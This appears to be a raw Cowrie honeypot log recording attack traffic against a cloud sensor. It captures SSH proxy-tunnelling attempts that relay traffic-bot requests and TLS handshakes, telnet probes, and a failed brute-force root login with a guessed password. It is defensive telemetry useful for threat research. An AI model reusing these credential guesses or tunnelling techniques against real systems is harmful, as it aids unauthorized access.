{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:00.082604Z","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:00.194485Z","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:00.497593Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; Mi Pad4 4G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bSVpeTc%2Fdy8xdnl7K09Icg%3D%3DHJosVrSIJSm2C7zP%2FHxJjsokNytGVTV1fi27hIfCUFhuXHrtfqwYmjKChHnAhGhnrz9PTJmV%2FgMG9GnhU4gSTYCNZAlR23Pm2darIXtuJvdtFAS%2Fgbp3OXOv6PSwrloJGdL1qwzud3Fk6Ou9ZrAjV5NckGIi2LxpXsnCBggkzIpgsn2Akfp2OtZMaWjUrlVkzID98v2M2ifu7pqTk59qppb771KCusBJ9M%2B4mokzJwyiTw58Sj6AGf1aX0rHco%2BjTlLpJrNOY5rntdF99hjbZECJ398Z4N%2B0Mz%2FF4N%2F%2Bq5oM9IioNwPDjMtecwPRlq8tXAxDofuU0RTRZ1QCwRdJ9aupHDNpLkyYZDXaNi%2FCbQCHDxfVigre%2FwoF3VrH4EyxI5%2FdNZchD9KAaUrY2OGufQvcQaUBe%2Fj0G7ijS%2FxKTFxtoBb3ruPvgGW1ZCnHRkJUEUOhjLTbQt9I2%2Bcyc0w0axmhlrCYdckQTKqUJdja1hd%2FO8GfrMH%2Fiu7u9ZaVtkmD9iLBzNkW4lwHgDjr8QFdFV7%2FCCwwTiJm%2B8ChbzkbZBtbn79vU3vT9jYVSBjZQ1zpsYfXz7MxlonTym%2BbKXwmPXbizeIbpcnlpJlH35DAIzP4zrQnAmfXN2V8h8E0XAKfx9UbKUwbqaRp3kGXzkV2iU7U9xsuO2Hq8iWAHErMwsAVFgC%2FmfXhixy%2Fff%2Bnz6aiaGMWU64WGaTqfueouFvVONbx6jyhpDspx2fPOS77g5Jg8qPYcFh4kLgx7bG8fIDZNIQRwaSfzkjRMLvOsmmnp0AgJG8l3K0WURnHwLJlwBXlqFs7AFSxvNImEoof43zqDl%2BxEF41nndYlLvZE5BgIHnFDIqzKAJ4yOZSyDsbxhiikjYiT35VYJblpR8iM0u7hBxrGa3e9ycQUnJPZchwNT9kfy9hBvmWTRG4jQwXM8p959h%2FNmm%2FhHIvUX2SLFFajHkGRGmOJ98sG5m3HXFTjnbcFaodFt5QG3vQRJ%2BLeCSAo8pd5uy%2F9YZlwnxZQjoN8rsnQ2htIu9CRL%2BHvEiveJZ4eZa%2FReYrubhXSUr97kg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; Mi Pad4 4G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bSVpeTc%2Fdy8xdnl7K09Icg%3D%3DHJosVrSIJSm2C7zP%2FHxJjsokNytGVTV1fi27hIfCUFhuXHrtfqwYmjKChHnAhGhnrz9PTJmV%2FgMG9GnhU4gSTYCNZAlR23Pm2darIXtuJvdtFAS%2Fgbp3OXOv6PSwrloJGdL1qwzud3Fk6Ou9ZrAjV5NckGIi2LxpXsnCBggkzIpgsn2Akfp2OtZMaWjUrlVkzID98v2M2ifu7pqTk59qppb771KCusBJ9M%2B4mokzJwyiTw58Sj6AGf1aX0rHco%2BjTlLpJrNOY5rntdF99hjbZECJ398Z4N%2B0Mz%2FF4N%2F%2Bq5oM9IioNwPDjMtecwPRlq8tXAxDofuU0RTRZ1QCwRdJ9aupHDNpLkyYZDXaNi%2FCbQCHDxfVigre%2FwoF3VrH4EyxI5%2FdNZchD9KAaUrY2OGufQvcQaUBe%2Fj0G7ijS%2FxKTFxtoBb3ruPvgGW1ZCnHRkJUEUOhjLTbQt9I2%2Bcyc0w0axmhlrCYdckQTKqUJdja1hd%2FO8GfrMH%2Fiu7u9ZaVtkmD9iLBzNkW4lwHgDjr8QFdFV7%2FCCwwTiJm%2B8ChbzkbZBtbn79vU3vT9jYVSBjZQ1zpsYfXz7MxlonTym%2BbKXwmPXbizeIbpcnlpJlH35DAIzP4zrQnAmfXN2V8h8E0XAKfx9UbKUwbqaRp3kGXzkV2iU7U9xsuO2Hq8iWAHErMwsAVFgC%2FmfXhixy%2Fff%2Bnz6aiaGMWU64WGaTqfueouFvVONbx6jyhpDspx2fPOS77g5Jg8qPYcFh4kLgx7bG8fIDZNIQRwaSfzkjRMLvOsmmnp0AgJG8l3K0WURnHwLJlwBXlqFs7AFSxvNImEoof43zqDl%2BxEF41nndYlLvZE5BgIHnFDIqzKAJ4yOZSyDsbxhiikjYiT35VYJblpR8iM0u7hBxrGa3e9ycQUnJPZchwNT9kfy9hBvmWTRG4jQwXM8p959h%2FNmm%2FhHIvUX2SLFFajHkGRGmOJ98sG5m3HXFTjnbcFaodFt5QG3vQRJ%2BLeCSAo8pd5uy%2F9YZlwnxZQjoN8rsnQ2htIu9CRL%2BHvEiveJZ4eZa%2FReYrubhXSUr97kg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:00.500576Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:00.756610Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcb/w\\xd8\\x90\\x82\\xe6\\xbd|\\xda\\xf6\\xe9\\x16\\x0b\\x89n\\x94l\\xbd\\x16\\xba\\x0e\\x08\\x87\\x14\\xf2gO\\x1f\\x07\\x87] T\\xc1\\x18\\xd3Ad\\xd2\\xf6'\\xf8\\x95\\n\\xdc\\x84MG\\xa9j\\x9d\\x92\\xd1C\\xc4\\xb3\\xd5\\xd1\\x02\\xbc\\x1d\\x84Fd\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 s\\xd1\\xe1:\\xb5Y\\xd3\\xb3\\xaer\\xbc<\\x03\\xcd\\xb0tA\\xf2\\xef(~Q3[#0o\\xddK\\xfaH7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcb/w\\xd8\\x90\\x82\\xe6\\xbd|\\xda\\xf6\\xe9\\x16\\x0b\\x89n\\x94l\\xbd\\x16\\xba\\x0e\\x08\\x87\\x14\\xf2gO\\x1f\\x07\\x87] T\\xc1\\x18\\xd3Ad\\xd2\\xf6'\\xf8\\x95\\n\\xdc\\x84MG\\xa9j\\x9d\\x92\\xd1C\\xc4\\xb3\\xd5\\xd1\\x02\\xbc\\x1d\\x84Fd\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 s\\xd1\\xe1:\\xb5Y\\xd3\\xb3\\xaer\\xbc<\\x03\\xcd\\xb0tA\\xf2\\xef(~Q3[#0o\\xddK\\xfaH7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:00.760796Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:01.284107Z","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:01.551600Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x1a\\x91\\x96\\x89d\\x9f\\xfb\\xe1\\x192g\\xfe\\x96\\xc5Yn\\xcf_sZ\\x9c\\x00U\\xc4/\\xb6\\x86z\\x18?o `G\\x9ci\\xa4\\x99\\x1c\\xf2\\xa0\\x84\\x8c\\xb6\\xdez\\r\\xe4\\x9c\\x18\\xb8\\x1b\\xf05e\\x9d\\xcd\\x948\\x9dJ\\x04Q\\xfc\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 5\\xe0Ku\\xe3:\\x03\\xe4\\xa1\\x05%TN\\t)4S\\xf5\\xdb\\xe3\\x15f\\x9d\\x9aM6\\x1a\\xeev\\xcf\\x98S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x1a\\x91\\x96\\x89d\\x9f\\xfb\\xe1\\x192g\\xfe\\x96\\xc5Yn\\xcf_sZ\\x9c\\x00U\\xc4/\\xb6\\x86z\\x18?o `G\\x9ci\\xa4\\x99\\x1c\\xf2\\xa0\\x84\\x8c\\xb6\\xdez\\r\\xe4\\x9c\\x18\\xb8\\x1b\\xf05e\\x9d\\xcd\\x948\\x9dJ\\x04Q\\xfc\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 5\\xe0Ku\\xe3:\\x03\\xe4\\xa1\\x05%TN\\t)4S\\xf5\\xdb\\xe3\\x15f\\x9d\\x9aM6\\x1a\\xeev\\xcf\\x98S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:01.559293Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:02.052893Z","src_ip":"113.164.152.20","session":"b681f86af04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39456,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84feb94ceb7","protocol":"telnet","message":"New connection: 128.199.8.54:39456 (159.203.135.109:23) [session: f84feb94ceb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:02.603030Z"}
{"eventid":"cowrie.session.closed","duration":0.004710197448730469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:02.607614Z","src_ip":"128.199.8.54","session":"f84feb94ceb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36396,"dst_ip":"159.203.135.109","dst_port":23,"session":"58b25a646d19","protocol":"telnet","message":"New connection: 128.199.8.54:36396 (159.203.135.109:23) [session: 58b25a646d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:08.422945Z"}
{"eventid":"cowrie.session.closed","duration":30.505324125289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:28.225869Z","src_ip":"39.173.18.65","session":"23c91062c54f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.10711455345154,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:48.529938Z","src_ip":"128.199.8.54","session":"58b25a646d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35852,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e285de48d1","protocol":"ssh","message":"New connection: 51.250.105.222:35852 (10.17.0.5:22) [session: f7e285de48d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:56.759902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:56.764100Z","src_ip":"51.250.105.222","session":"f7e285de48d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:56.893523Z","src_ip":"51.250.105.222","session":"f7e285de48d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:45:57.283203Z","src_ip":"51.250.105.222","session":"f7e285de48d1","protocol":"ssh"}
